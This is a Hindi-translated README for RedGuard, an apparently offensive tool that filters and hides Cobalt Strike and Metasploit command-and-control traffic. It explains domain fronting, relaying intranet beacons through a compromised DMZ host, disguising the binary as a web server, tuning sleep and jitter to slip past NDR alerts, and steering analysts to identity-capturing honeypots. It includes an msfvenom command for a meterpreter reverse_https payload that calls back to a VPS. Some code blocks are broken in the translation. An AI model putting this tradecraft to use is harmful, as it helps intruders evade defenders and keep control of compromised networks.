यहां हम केवल शेडोंग क्षेत्र को ऑनलाइन जाने की अनुमति देने के लिए सेट करते हैं

कानूनी ट्रैफ़िक:

अवैध अनुरोध क्षेत्र:

भौगोलिक प्रतिबंधों के कनेक्शन के संबंध में, यह वर्तमान आक्रामक और रक्षात्मक अभ्यास में अधिक व्यावहारिक हो सकता है। मूल रूप से, प्रांतीय और नगर निगम के आक्रामक और रक्षात्मक अभ्यास प्रतिबंधों के लक्ष्य निर्दिष्ट क्षेत्रों में होते हैं, और अन्य क्षेत्रों द्वारा अनुरोधित ट्रैफ़िक को स्वाभाविक रूप से अनदेखा किया जा सकता है। RedGuard का यह फ़ंक्शन न केवल एक एकल क्षेत्र को सीमित कर सकता है, बल्कि प्रांतों और शहरों के अनुसार कई कनेक्शन क्षेत्रों को भी सीमित कर सकता है, और अन्य क्षेत्रों द्वारा अनुरोधित ट्रैफ़िक को इंटरसेप्ट कर सकता है।
RedGuard में साइबर सुरक्षा विक्रेताओं की बिल्ट-इन IP ब्लैकलिस्ट के अलावा, हम व्हाइटलिस्ट विधि के अनुसार भी प्रतिबंधित कर सकते हैं। वास्तव में, मैं यह भी सुझाव देता हूं कि वेब पेनिट्रेशन के दौरान, हम IP पते के कई तरीकों को विभाजित करने के लिए व्हाइटलिस्ट के अनुसार ऑनलाइन IP पतों को प्रतिबंधित कर सकते हैं।```bash
AllowIP = 127.0.0.1

जैसा कि ऊपर दिए गए चित्र में दिखाया गया है, हम केवल 127.0.0.1 कनेक्शन की अनुमति देने के लिए प्रतिबंधित करते हैं, फिर अन्य IP के अनुरोध ट्रैफ़िक को ब्लॉक कर दिया जाएगा।
## समय अवधि के आधार पर ब्लॉक करना
यह फ़ीचर थोड़ा दिलचस्प है। कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित पैरामीटर मान सेट करने का मतलब है कि ट्रैफ़िक कंट्रोल सुविधा केवल सुबह 8:00 बजे से रात 9:00 बजे तक कनेक्ट हो सकती है। यहाँ विशिष्ट एप्लिकेशन परिदृश्य यह है कि निर्दिष्ट हमले के समय के दौरान, हम C2 के साथ संचार की अनुमति देते हैं, और अन्य समय पर शांत रहते हैं। यह रेड टीमों को रात में अच्छी नींद लेने की अनुमति भी देता है, बिना इस चिंता के कि रात में ड्यूटी पर तैनात कोई ब्लू टीम बोर होकर आपके ट्रोजन का विश्लेषण करेगी और फिर किसी अवर्णनीय चीज़ के लिए जाग जाएगी, हाहाहा।```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21:00

RedGuard मैलेबल C2 प्रोफ़ाइल का उपयोग करता है। यह प्रदान किए गए एक्सटेंसिबल कॉन्फ़िगरेशन फ़ाइल अनुभाग को पार्स करता है ताकि अनुबंध को समझ सके और केवल उन इनबाउंड अनुरोधों को पास कर सके जो इसे संतुष्ट करते हैं, जबकि अन्य अनुरोधों को गुमराह करता है। http-stager, http-get और http-post जैसे भाग और उनके संबंधित uris, हेडर, User-Agent आदि का उपयोग वैध बीकन अनुरोधों को अप्रासंगिक इंटरनेट शोर या IR/AV/EDR आउट-ऑफ-बाउंड्स पैकेट से अलग करने के लिए किया जाता है।```bash
MalleableFile = /root/cobaltstrike/Malleable.profile

风起 द्वारा लिखित प्रोफ़ाइल का उपयोग करने की अनुशंसा की जाती है:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## कस्टम प्रतिक्रिया फ़ील्ड्स हटाएं
Cobalt Strike 4.7+ में, Teamserver बिना किसी सूचना के स्वचालित रूप से Content-Encoding हेडर को हटा देता है, जिससे malleable http-(get|post).server उल्लंघन हो सकता है। इसके अलावा, यदि CS सर्वर प्रतिक्रिया संदेश में Content-Type नहीं है, लेकिन RedGuard द्वारा अग्रेषित किए जाने के बाद, प्रतिक्रिया संदेश हेडर में Content-Type जोड़ दिया जाता है, जिससे cf पेज को कैश कर लेता है और व्यवधान उत्पन्न होता है।
RedGuard 23.08.21 के बाद, प्रतिक्रिया पैकेट के हेडर को अनुकूलित करने का कार्य जोड़ा गया है। उपयोगकर्ता कॉन्फ़िगरेशन फ़ाइल को संशोधित करके प्रतिक्रिया पैकेट में हेडर जानकारी को अनुकूलित और हटा सकते हैं, जिससे गलत पार्सिंग की समस्या हल हो जाती है।```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13 ने ट्रोजन सैंपल फिंगरप्रिंट पहचान फ़ंक्शन को अपडेट किया है, जो Malleable Profile के HTTP Header फ़ील्ड को फिंगरप्रिंट "sample salt value" के रूप में कस्टमाइज़ करने पर आधारित है, ताकि एक ही C2 लिसनर/Header Host की विशिष्ट रूप से पहचान की जा सके। इसके अलावा, अन्य संबंधित अनुरोध फ़ील्ड को मिलाकर उत्पन्न ट्रोजन सैंपल फिंगरप्रिंट का उपयोग कस्टम सैंपल की सक्रियता का पता लगाने के लिए किया जा सकता है। हमलावर की कार्य आवश्यकताओं के अनुसार, ट्रोजन सैंपल फिंगरप्रिंट पहचान फ़ंक्शन उन सैंपलों पर "offline operation" कर सकता है जिन्हें आप निष्क्रिय करना चाहते हैं, ताकि सैंपल संचार के दुर्भावनापूर्ण ट्रैफ़िक विश्लेषण और चरणबद्ध सैंपल PAYLOAD हमला पेलोड अधिग्रहण विश्लेषण से बेहतर तरीके से बचा जा सके, और हमलावर के लिए अधिक व्यक्तिगत छिपाव उपाय प्रदान किए जा सकें।
विभिन्न C2 लिसनर के लिए, हम Malleable Profile कॉन्फ़िगरेशन को अलग-अलग उपनाम दे सकते हैं, संबंधित हेडर के फ़ील्ड नाम और मान को सैंपल साल्ट वैल्यू के रूप में कस्टमाइज़ कर सकते हैं, और इसे विभिन्न सैंपलों के बीच अंतर के रूप में उपयोग कर सकते हैं। निम्नलिखित कोड चित्रण उद्देश्यों के लिए है, और वास्तविक आक्रमण और रक्षा परिदृश्यों में हम अधिक यथार्थवादी HTTP अनुरोध पैकेट फ़ील्ड को निर्णय के आधार के रूप में उपयोग कर सकते हैं।```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**HTTP ट्रैफ़िक**

जैसा कि चित्र में दिखाया गया है, हम उपरोक्त नमूना नमक मान और होस्ट फ़ील्ड का उपयोग फिंगरप्रिंट जनरेशन के आधार के रूप में करते हैं। यहाँ हम जानते हैं:
- **नमक मान:866e5289337ab033f89bc57c5274c7ca**
- **होस्ट :redguard.com**
उपरोक्त मानों को जोड़कर, नमूना फिंगरप्रिंट इस प्रकार प्राप्त होता है:```bash
22e6db08c5ef1889d64103a290ac145c
अब जब हम उपरोक्त नमूना फिंगरप्रिंट जानते हैं, तो हम दुर्भावनापूर्ण ट्रैफ़िक को रोकने के लिए RedGuard कॉन्फ़िगरेशन फ़ाइल में कस्टम Header फ़ील्ड और नमूना फिंगरप्रिंट सेट कर सकते हैं। यह ध्यान देने योग्य है कि हम कई नमूना फिंगरप्रिंट का विस्तार कर सकते हैं, अल्पविराम द्वारा अलग किए गए, और FieldName को Malleable Profile में कॉन्फ़िगर किए गए Header फ़ील्ड नाम के अनुरूप होना चाहिए।

क्योंकि RedGuard की कॉन्फ़िगरेशन फ़ाइल एक हॉट कॉन्फ़िगरेशन है, हमें उन नमूनों को रोकने के लिए RedGuard को पुनः प्रारंभ करने की आवश्यकता नहीं है जिन्हें हम अक्षम करना चाहते हैं। जब हम नमूने को पुनः सक्रिय करना चाहते हैं, तो हमें बस RedGuard कॉन्फ़िगरेशन फ़ाइल से संबंधित नमूना फिंगरप्रिंट को हटाना होगा।
प्रदर्शन प्रभाव:

यदि उपरोक्त विधि में कोई समस्या है, तो वास्तविक ऑनलाइन C2 सर्वर को सीधे फ़ायरवॉल द्वारा इंटरसेप्ट नहीं किया जा सकता है, क्योंकि रिवर्स प्रॉक्सी में वास्तविक लोड बैलेंसिंग अनुरोध क्लाउड सर्वर निर्माता के IP द्वारा किया जाता है।
एकल मुकाबले में, हम क्लाउड सर्वर फ़ायरवॉल पर इंटरसेप्शन नियम सेट कर सकते हैं।

फिर प्रॉक्सी द्वारा इंगित पते को https://127.0.0.1:4433 पर सेट करें।```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
और क्योंकि हमारी मूल सत्यापन HTTP HOST अनुरोध हेडर पर आधारित है, HTTP ट्रैफ़िक में हम जो देखते हैं वह भी डोमेन फ्रंटिंग विधि के समान है, लेकिन लागत कम है, और केवल एक क्लाउड सर्वर की आवश्यकता है।

लिसनर सेटिंग्स के लिए, `HTTPS Port (C2)` को RedGuard रिवर्स प्रॉक्सी पोर्ट पर सेट किया जाता है, और `HTTPS Port (Bind)` स्थानीय मशीन का वास्तविक कनेक्शन पोर्ट है।
## Metasploit
**ट्रोजन उत्पन्न करता है**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
बेशक, डोमेन फ्रंटिंग परिदृश्य के रूप में, आप अपने LHOST को निर्माता के CDN के किसी भी डोमेन नाम का उपयोग करने के लिए कॉन्फ़िगर कर सकते हैं, और RedGuard से मेल खाने के लिए HttpHostHeader सेट करने पर ध्यान दें।```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
यह ध्यान रखना महत्वपूर्ण है कि `OverrideRequestHost` सेटिंग को `true` पर सेट किया जाना चाहिए। यह उस तरीके के कारण है जिससे Metasploit डिफ़ॉल्ट रूप से स्टेजिंग पेलोड के लिए कॉन्फ़िगरेशन उत्पन्न करते समय आने वाले HTTP/S अनुरोधों को संभालता है। डिफ़ॉल्ट रूप से, Metasploit दूसरे चरण के कॉन्फ़िगरेशन के लिए `LHOST` पैरामीटर के बजाय आने वाले अनुरोध के `Host` हेडर मान (यदि मौजूद है) का उपयोग करता है। इसलिए, बिल्ड स्टेज को आपके छिपे हुए डोमेन नाम पर सीधे अनुरोध भेजने के लिए कॉन्फ़िगर किया गया है क्योंकि CloudFront अग्रेषित अनुरोधों के `Host` हेडर में आपका आंतरिक डोमेन पास करता है। यह स्पष्ट रूप से वह नहीं है जो हम मांग रहे हैं। `OverrideRequestHost` कॉन्फ़िगरेशन मान का उपयोग करके, हम Metasploit को आने वाले `Host` हेडर को अनदेखा करने और इसके बजाय मूल CloudFront डोमेन की ओर इशारा करते हुए `LHOST` कॉन्फ़िगरेशन मान का उपयोग करने के लिए मजबूर कर सकते हैं।
लिसनर उस वास्तविक लाइन पोर्ट पर सेट है जो उस पते से मेल खाता है जिस पर RedGuard वास्तव में अग्रेषित करता है।

RedGuard को अनुरोध प्राप्त हुआ:

## साइबरस्पेस खोज मैपिंग
जैसा कि नीचे दिए गए चित्र में दिखाया गया है, जब हमारा अवरोधन नियम DROP पर सेट होता है, तो स्थानिक मैपिंग सिस्टम प्रोब हमारे रिवर्स प्रॉक्सी पोर्ट की / डायरेक्टरी को कई बार प्रोब करेगा। सिद्धांत रूप में, मैपिंग द्वारा भेजा गया अनुरोध पैकेट सामान्य ट्रैफ़िक के रूप में प्रस्तुत किया जाता है जैसा कि दिखाया गया है। लेकिन कई प्रयासों के बाद, क्योंकि अनुरोध पैकेट का सिग्नेचर RedGuard की रिलीज़ आवश्यकताओं को पूरा नहीं करता है, उन सभी को Close HTTP द्वारा उत्तर दिया जाता है। सर्वेक्षण और मैपिंग प्लेटफ़ॉर्म पर प्रदर्शित अंतिम प्रभाव यह है कि रिवर्स प्रॉक्सी पोर्ट खुला नहीं है।

नीचे दिए गए चित्र में दिखाया गया ट्रैफ़िक का अर्थ है कि जब अवरोधन नियम Redirect पर सेट होता है, तो हम पाएंगे कि जब मैपिंग प्रोब को प्रतिक्रिया मिलती है, तो वह हमारी निर्देशिका को स्कैन करना जारी रखेगा। User-Agent रैंडम है, जो सामान्य ट्रैफ़िक अनुरोधों के अनुरूप प्रतीत होता है, लेकिन दोनों सफलतापूर्वक अवरुद्ध हो गए।

**मैपिंग प्लेटफ़ॉर्म - हाईजैक रिस्पॉन्स इंटरसेप्ट मोड प्रभाव:**

**सर्वेक्षण और मैपिंग प्लेटफ़ॉर्म - रीडायरेक्शन इंटरसेप्शन का प्रभाव:**

## डोमेन फ्रंटिंग
RedGuard डोमेन फ्रंटिंग का समर्थन करता है। मेरी राय में, प्रस्तुति के दो रूप हैं। एक पारंपरिक डोमेन फ्रंटिंग विधि का उपयोग करना है, जिसे साइट-वाइड एक्सेलेरेशन बैक-टू-ओरिजिन एड्रेस में हमारे रिवर्स प्रॉक्सी का पोर्ट सेट करके प्राप्त किया जा सकता है। मूल आधार पर, डोमेन फ्रंटिंग में ट्रैफ़िक नियंत्रण का कार्य जोड़ा जाता है, और इसे हमारे द्वारा निर्धारित सेटिंग के अनुसार निर्दिष्ट URL पर रीडायरेक्ट किया जा सकता है ताकि यह और अधिक वास्तविक दिखे। यह ध्यान दिया जाना चाहिए कि HTTPS HOST हेडर की RedGuard सेटिंग साइट-वाइड एक्सेलेरेशन के डोमेन नाम के अनुरूप होनी चाहिए।

एकल मुकाबले में, मेरा सुझाव है कि उपरोक्त विधि का उपयोग किया जा सकता है, और टीम कार्यों में, इसे स्व-निर्मित "डोमेन फ्रंटिंग" द्वारा भी प्राप्त किया जा सकता है।

स्व-निर्मित डोमेन फ्रंटिंग में, कई रिवर्स प्रॉक्सी पोर्ट को सुसंगत रखें, और HOST हेडर लगातार बैकएंड के वास्तविक C2 सर्वर लिसनिंग पोर्ट की ओर इशारा करता है। इस तरह, हमारा वास्तविक C2 सर्वर अच्छी तरह से छिपाया जा सकता है, और रिवर्स प्रॉक्सी का सर्वर फ़ायरवॉल को कॉन्फ़िगर करके केवल प्रॉक्सी पोर्ट खोल सकता है।

यह कई नोड सर्वरों के माध्यम से प्राप्त किया जा सकता है, और CS लिसनर HTTPS ऑनलाइन IP में हमारे नोड्स के कई IP कॉन्फ़िगर करें।
## हनीपॉट दुर्भावनापूर्ण जाल
**दुर्भावनापूर्ण हनीपॉट ट्रैपिंग का सिद्धांत मुख्य रूप से RG ट्रैफ़िक गाइडेंस के हाईजैक रिस्पॉन्स या रीडायरेक्शन फंक्शन पर निर्भर करता है, जो C2 सुविधाओं का मूल्यांकन करने वाले विश्लेषकों को हनीपॉट सैंडबॉक्स के पते पर निर्देशित करता है। हाईजैक रिस्पॉन्स अवस्था में, RG इनबाउंड नियमों को पूरा नहीं करने वाले अनुरोध ट्रैफ़िक को हनीपॉट एसेट्स पर निर्देशित करेगा।** जब कुछ अधिक शक्तिशाली हनीपॉट्स (जैसे कि ऑपरेटर मोबाइल नंबर कैप्चर करने वाले) का सामना होता है, तो क्लाइंट लक्ष्य साइट की प्रतिक्रिया के अनुसार एक अनुरोध शुरू करेगा और jsonp द्वारा हाईजैक करके प्रासंगिक जानकारी प्राप्त करेगा।
कल्पना करें कि जब विश्लेषक सीधे C2 ऑनलाइन पोर्ट तक पहुँचते हैं, तो उन्हें हनीपॉट एसेट पर निर्देशित किया जाएगा, जो निस्संदेह विश्लेषकों के लिए व्यवधान उत्पन्न करेगा। विश्लेषकों को दुर्भावनापूर्ण रूप से हनीपॉट एसेट का अनुरोध करने के लिए निर्देशित किया जाता है, और हनीपॉट मॉनिटरिंग एंड ब्लू टीम विश्लेषकों की प्रासंगिक जानकारी कैप्चर करता है और त्रुटि का पता लगाता है। यदि शुरू से ही विश्लेषण लक्ष्य गलत है, तो आप अच्छा परिणाम कैसे प्राप्त कर सकते हैं? यह निस्संदेह डिफेंस टीम के लिए गंभीर आंतरिक घर्षण का कारण बनेगा।
**यहाँ हनीपॉट एसेट्स से जुड़े ZoomEye फिंगरप्रिंट का एक सेट है:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")

इस प्रभाव को प्राप्त करने का तरीका बहुत सरल है, आपको केवल RG कॉन्फ़िगरेशन फ़ाइल में प्रासंगिक कुंजी मानों को बदलने की आवश्यकता है।```bash
drop_action = proxy
Redirect = https://market.baidu.com
**पी.एस. मेरा मानना है कि हर कोई बिना स्पष्टीकरण के इसे कॉन्फ़िगर करना जानता है:**)
यह विधि एक प्रकार की चालाकी भरी चाल है, जो विचार में अधिक परिलक्षित होती है। यदि इसका और उपयोग किया जाए, तो C2 फ्रंट-एंड ट्रैफ़िक नियंत्रण सुविधा में हनीपॉट कैप्चर फ़ंक्शन को तैनात किया जा सकता है और फिर इंटरैक्टिव ट्रैफ़िक को निर्देशित किया जा सकता है। प्रभाव यह है कि क्लाइंट के ब्राउज़र कैश डेटा को पारंपरिक हनीपॉट की तरह ही प्राप्त किया जा सकता है। हालाँकि, मैं व्यक्तिगत रूप से महसूस करता हूँ कि सार्वजनिक संस्करण में, इसे वर्तमान आक्रमण और रक्षा टकराव में लागू करना सार्थक नहीं हो सकता है। हमलावर के लिए ब्लू टीम विश्लेषक की सामाजिक जानकारी को कैप्चर करना और फिर उसका पता लगाना व्यर्थ है। बेशक, एक कदम पीछे हटते हुए, यह C2 नमूनों के विश्लेषण को और अधिक खतरनाक बना सकता है। जब काले और भूरे उद्योगों का हमलावर विश्लेषक की आभासी पहचान प्राप्त कर सकता है, यदि आभासी और वास्तविक पहचानों को परिवर्तित किया जा सकता है, तो यह अभी भी अपेक्षाकृत खतरनाक है। **इसलिए मुझे लगता है कि भविष्य के शोध और विश्लेषण को अधिक सावधान और सतर्क रहना चाहिए।**
## एज नोड लिंक इंटरैक्शन पर आधारित C2 ट्रैफ़िक
आक्रमण और रक्षा टकराव के परिदृश्य में, अधिकांश यूनिट नेटवर्क अभी भी सीमा-आधारित रक्षा पर हैं। यहाँ हम एक ऐसे परिदृश्य पर विचार करते हैं जहाँ DMZ क्षेत्र में बाहरी सर्वरों को सामान्य व्यावसायिक वातावरण में प्रासंगिक एक्सेस नीतियों के साथ कॉन्फ़िगर किया जाता है। इस समय, जब किनारे पर बाहरी सर्वर नेटवर्क तक पहुँच सकते हैं लेकिन सीधे इंट्रानेट होस्ट तक नहीं पहुँच सकते, इंट्रानेट में पीसी या संबंधित सर्वर सीधे सार्वजनिक नेटवर्क तक नहीं पहुँचते, लेकिन DMZ क्षेत्र में व्यावसायिक सर्वरों तक पहुँच सकते हैं, तो मैं एज नोड के होस्ट को RG नोड के रूप में उपयोग करके इंट्रानेट ऑनलाइन ट्रैफ़िक को अपनी C2 सुविधाओं में स्थानांतरित कर सकता हूँ। क्या यह पारंपरिक प्रॉक्सी ट्रांसफर ऑनलाइन के समान लगता है? हालाँकि, यह कौशल कार्यान्वयन के प्रदर्शन का सिर्फ एक रूप है। आइए और अधिक TIPS देखना जारी रखें।

जब हम प्रबंधन प्रक्रिया के दौरान एक एज होस्ट को डाउन करते हैं, यह मानते हुए कि हमने शेल अनुमतियाँ ले ली हैं, हम इस सर्वर पर RG को अपने फ्रंट-एंड नोड के रूप में तैनात करेंगे **(वास्तविक परिदृश्यों में, कॉन्फ़िगरेशन फ़ाइलें प्रोग्राम में हार्ड-कोडेड होती हैं, और यहाँ तक कि ट्रोजन हॉर्स और RG को एक ही प्रोग्राम में जोड़ दिया जाता है)**।
**कॉन्फ़िगरेशन फ़ाइल इस प्रकार है:**

विशिष्ट कॉन्फ़िगरेशन के लिए, हम मुख्य रूप से तीरों पर ध्यान केंद्रित करते हैं। **ऊपर तीर 1 इंट्रानेट होस्ट और एज नोड के बीच इंटरैक्शन के लिए HOST डोमेन नाम है**। लक्ष्य इकाई के विशिष्ट परिदृश्य के अनुसार संबंधित इंट्रानेट डोमेन नाम सेट करने की अनुशंसा की जाती है। इंट्रानेट में दो होस्ट के बीच इंट्रानेट डोमेन नाम के बारे में ट्रैफ़िक इंटरैक्शन की कल्पना करें। क्या BT में सीधे इंटरैक्टिव ट्रैफ़िक को काटने का साहस है? बेशक, यदि वे यह निर्धारित कर सकते हैं कि यह दुर्भावनापूर्ण इंटरैक्टिव ट्रैफ़िक है। **तीर 2 पारंपरिक डोमेन फ्रंटएंड की सेटिंग को इंगित करता है**। यह की-वैल्यू पेयर, कुंजी ऑनलाइन HOST से मेल खाती है और वैल्यू प्रॉक्सी पते से मेल खाती है। यहाँ हम इसे उसी CDN निर्माता का उपयोग करके किसी भी HTTPS डोमेन नाम पर सेट कर सकते हैं **(CDN नोड IP भी ठीक है, http(s):// प्रोटोकॉल लाना याद रखें)**।
EdgeHost हमारे क्लाउड सेवा प्रदाता के डोमेन फ्रंटएंड द्वारा उपयोग किया जाने वाला डोमेन नाम है, जो CDN नोड के माध्यम से C2 के साथ बातचीत करते समय RG एज नोड द्वारा उपयोग किया जाने वाला डोमेन नाम भी है। हाँ, RG वैध अनुरोध के HOST डोमेन नाम को संशोधित करेगा और इसे क्लाउड सेवा CDN डोमेन नाम में बदल देगा जो सामान्य रूप से संचार कर सकता है।
EdgeTarget इंट्रानेट इंटरैक्शन के लिए डोमेन नाम है, जो तीर 1 के समान होना चाहिए। केवल यहाँ HOST द्वारा सेट किए गए डोमेन नाम द्वारा अनुरोधित ट्रैफ़िक को ही वैध माना जाएगा, और RG को आगे के संचार के लिए क्लाउड सेवा CDN डोमेन नाम में संशोधित किया जाएगा।
**यहाँ हम सारांशित करते हैं:**
अर्थात्, एज नोड और इंट्रानेट में होस्ट के बीच बातचीत सेट इंट्रानेट डोमेन नाम के माध्यम से होती है। जब ट्रोजन RG के एज नोड पर अनुरोध शुरू करता है, तो यह निर्धारित करेगा कि अनुरोध ट्रैफ़िक HOST कॉन्फ़िगरेशन फ़ाइल में सेट इंट्रानेट डोमेन नाम है या नहीं। यदि यह अनुपालन में है, तो इसे वैध माना जाता है। RG बाद के संचार के लिए HOST को EdgeHost द्वारा सेट क्लाउड सेवा प्रदाता CDN डोमेन नाम में संशोधित करेगा और ट्रैफ़िक को C2 सर्वर पर स्थानांतरित करेगा, पूरे लिंक की पूर्ण छिपाव और उच्च अस्पष्टता प्राप्त करेगा। कल्पना करें कि इंट्रानेट डोमेन नाम इंट्रानेट डोमेन नाम के साथ एज नोड के साथ बातचीत करता है, लेकिन एज नोड आगे वास्तविक इंटरैक्टिव प्रॉक्सी पते और इंटरैक्टिव HOST को बदल देता है, दो होस्ट के बीच एक असममित इंटरैक्टिव जानकारी प्राप्त करता है, जिससे ट्रेसिंग अधिक कठिन और जांच करना कठिन हो जाता है।

**एज नोड्स और इंट्रानेट होस्ट के बीच इंटरैक्शन ट्रैफ़िक, जैसा कि ऊपर दिए गए चित्र में दिखाया गया है**
इस दृष्टिकोण का एक और लाभ यह है कि क्लाउड सैंडबॉक्स वातावरण में, चूंकि हमारा इंटरैक्टिव IP इंट्रानेट के अनुसार अनुकूलित है, इसलिए सैंडबॉक्स के लिए विश्लेषण के दौरान इंट्रानेट IP पर कनेक्टिविटी सहसंबंध विश्लेषण करना असंभव है।

कॉन्फ़िगर करते समय ध्यान देने वाली एक बात यह है कि ट्रोजन अनुरोध के लिए HOST होना चाहिए:
- **HOST: इंट्रानेट डोमेन नाम (RG कॉन्फ़िगरेशन फ़ाइल में सेट)**
- **IP: एज होस्ट का इंट्रानेट IP**
- **ऑनलाइन पोर्ट: 443 (RG कॉन्फ़िगरेशन फ़ाइल में http(s) लिसनिंग पोर्ट से मेल खाता है)**
- **लिसनिंग पोर्ट: वह पोर्ट जहाँ C2 वास्तव में ऑनलाइन है**
C2 सुनने की सेटिंग्स इस प्रकार हैं:

अनुरोध के विपरीत, C2 सुनने वाले का HOST क्लाउड सेवा प्रदाता का CDN डोमेन नाम होना चाहिए, जब तक कि अंतिम ट्रैफ़िक C2 सर्वर पर स्थानांतरित किया जा सके।
इंट्रानेट नोड इंटरैक्शन ट्रैफ़िक, जैसा कि नीचे दिए गए चित्र में दिखाया गया है, यह देखा जा सकता है कि DMZ क्षेत्र में इंट्रानेट IP सामान्य रूप से पोर्ट 443 तक पहुँचता है। यह आश्चर्यजनक नहीं है कि इंट्रानेट सर्वर या PC DMZ क्षेत्र में व्यावसायिक सिस्टम से जुड़ा है।

एज होस्ट का इंटरैक्टिव ट्रैफ़िक चित्र में दिखाया गया है। वास्तविक परिदृश्यों में, बड़ी संख्या में TIME_WAIT नहीं होगा। यहाँ, मैंने परीक्षण के लिए हार्टबीट पैकेट स्लीप को 0 पर सेट किया है। वास्तविक परिदृश्यों में अधिक हार्टबीट पैकेट जिटर और स्लीप टाइम सेट करना सुरक्षित है। और मैं व्यक्तिगत रूप से सोचता हूँ कि HTTP ट्रैफ़िक का उपयोग वास्तविक परिदृश्यों में नहीं किया जाता है। क्या सादा पाठ ट्रैफ़िक समय की बर्बादी नहीं है? तो आमतौर पर यह पोर्ट नहीं खोला जाएगा। हम RG फ़ाइल का नाम बदलकर Tomcat, Apache, Nginx, आदि कर देंगे ताकि इंटरैक्शन अधिक भ्रामक लगे।

हार्टबीट पैकेट जिटर और स्लीप टाइम के संबंध में, आप Malleable C2 Profile फ़ाइल में निम्नलिखित फ़ील्ड सेट कर सकते हैं।```bash
set sleeptime "3000";
set jitter "20";
यदि आप इसे सेट नहीं करते हैं, तो एक असामान्य हार्टबीट पैकेट अलार्म दिखाई दे सकता है। बेशक, ज्यादातर मामलों में, शोधकर्ता इसे एक झूठा अलार्म मानकर अनदेखा कर देंगे। हालांकि, सुरक्षा की दृष्टि से, इसे कॉन्फ़िगर करने की अनुशंसा की जाती है ताकि असामान्य हार्टबीट पैकेट अलार्म न हो। उस समय, इसका परीक्षण 360 NDR उपकरण द्वारा किया गया था, और विशिष्ट प्रभाव इस प्रकार है:

जहाँ तक HTTPS ट्रैफ़िक का सवाल है, बाज़ार में कोई भी ट्रैफ़िक निगरानी उपकरण ट्रैफ़िक को सेंसर नहीं कर सकता। वर्तमान निगरानी उपकरण मूलतः संवेदनशील शब्द मिलान हैं। यहाँ तक कि एक निश्चित निर्माता के उपकरण डेटा पैकेट डिटेक्शन प्रतियोगिता में, प्लेनटेक्स्ट पैकेट का उपयोग करना आवश्यक था, जिससे यह सोचने पर मजबूर होना पड़ता है कि क्या RT वास्तविक युद्ध परिदृश्यों में प्लेनटेक्स्ट ट्रैफ़िक के साथ बातचीत करते हैं? ऊपर उल्लिखित असममित इंटरैक्टिव जानकारी के अलावा, इस पद्धति का सबसे बड़ा लाभ यह है कि RG नोड को एज नोड पर रखा जाता है ताकि फ्रंट-एंड ट्रैफ़िक नियंत्रण प्राप्त किया जा सके, जिससे इसे नियमित RG के समान कार्यात्मक प्रभाव मिलता है।
RG नोड्स के बैक-एंड नोड्स को C2 सर्वर पर अग्रेषित करने के लिए CDN नोड्स में बदल दिया जाता है। पारंपरिक परिदृश्यों में, डोमेन के फ्रंट-एंड नोड्स सभी का उपयोग पहली-लेयर अनुरोध नोड्स के रूप में किया जाता है, और एज होस्ट को RG के बाद ऑनलाइन किया जाता है। DMZ क्षेत्र में व्यावसायिक प्रणाली और सार्वजनिक नेटवर्क CDN IP के बीच की बातचीत भी कितनी सामंजस्यपूर्ण दिखती है। इस प्रक्रिया में, न तो इंट्रानेट होस्ट और न ही एज होस्ट सीधे हमारे C2 के साथ बातचीत करता है, जो इस उन्नत छिपाव तकनीक की सुंदरता भी है।
बेशक, netsh और iptables प्रॉक्सी ट्रांसफर पर उपरोक्त लाभों के अलावा, सरल कॉन्फ़िगरेशन और कॉन्फ़िगरेशन रिकॉर्ड की अनुपस्थिति भी इसके फायदों में से एक है।
आपके समर्थन के लिए धन्यवाद। RedGuard में सुधार और अद्यतन जारी रहेगा। मुझे उम्मीद है कि RedGuard अधिक सुरक्षा चिकित्सकों तक पहुँच सकेगा। यह उपकरण RedWarden की डिज़ाइन अवधारणाओं को संदर्भित करता है।
हम सभी का स्वागत करते हैं कि आप अपनी आवश्यकताएँ सामने रखें, RedGuard इन आवश्यकताओं में बढ़ता और सुधरता रहेगा!
डेवलपर 风起 से संबंधित लेख: https://www.anquanke.com/member.html?memberId=148652
2022Kcon हैकर सम्मेलन के शस्त्र स्पेक्ट्रम के लेखक
10वाँ ISC इंटरनेट सुरक्षा सम्मेलन उन्नत आक्रमण और रक्षा मंच "C2 फ्रंट फ्लो कंट्रोल" विषय
सीमा नोड लिंक के आधार पर C2 ट्रैफ़िक का आदान-प्रदान
https://www.anquanke.com/post/id/278140
क्लाउड सैंडबॉक्स फ्लो पहचान तकनीक का विश्लेषण
https://www.anquanke.com/post/id/277431
JARM फिंगरप्रिंट रैंडमाइजेशन तकनीक का कार्यान्वयन
https://www.anquanke.com/post/id/276546
C2 बुनियादी ढाँचा खतरा खुफिया प्रति-उपाय
Kunyu: https://github.com/knownsec/Kunyu
风起于青萍之末,浪成于微澜之间।
यदि आपके कोई प्रश्न या आवश्यकताएँ हैं, तो आप परियोजना के अंतर्गत एक issue सबमिट कर सकते हैं, या WeChat जोड़कर डेवलपर से संपर्क कर सकते हैं।

| IP | पोर्ट | प्रोटोकॉल | सेवा | देश | शहर | शीर्षक | समय |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | चीन | सूज़ौ | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | चीन | जूझोउ | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | चीन | जूझोउ | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | चीन | जूझोउ | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | चीन | 405 Not Allowed | 2023-08-28 | |
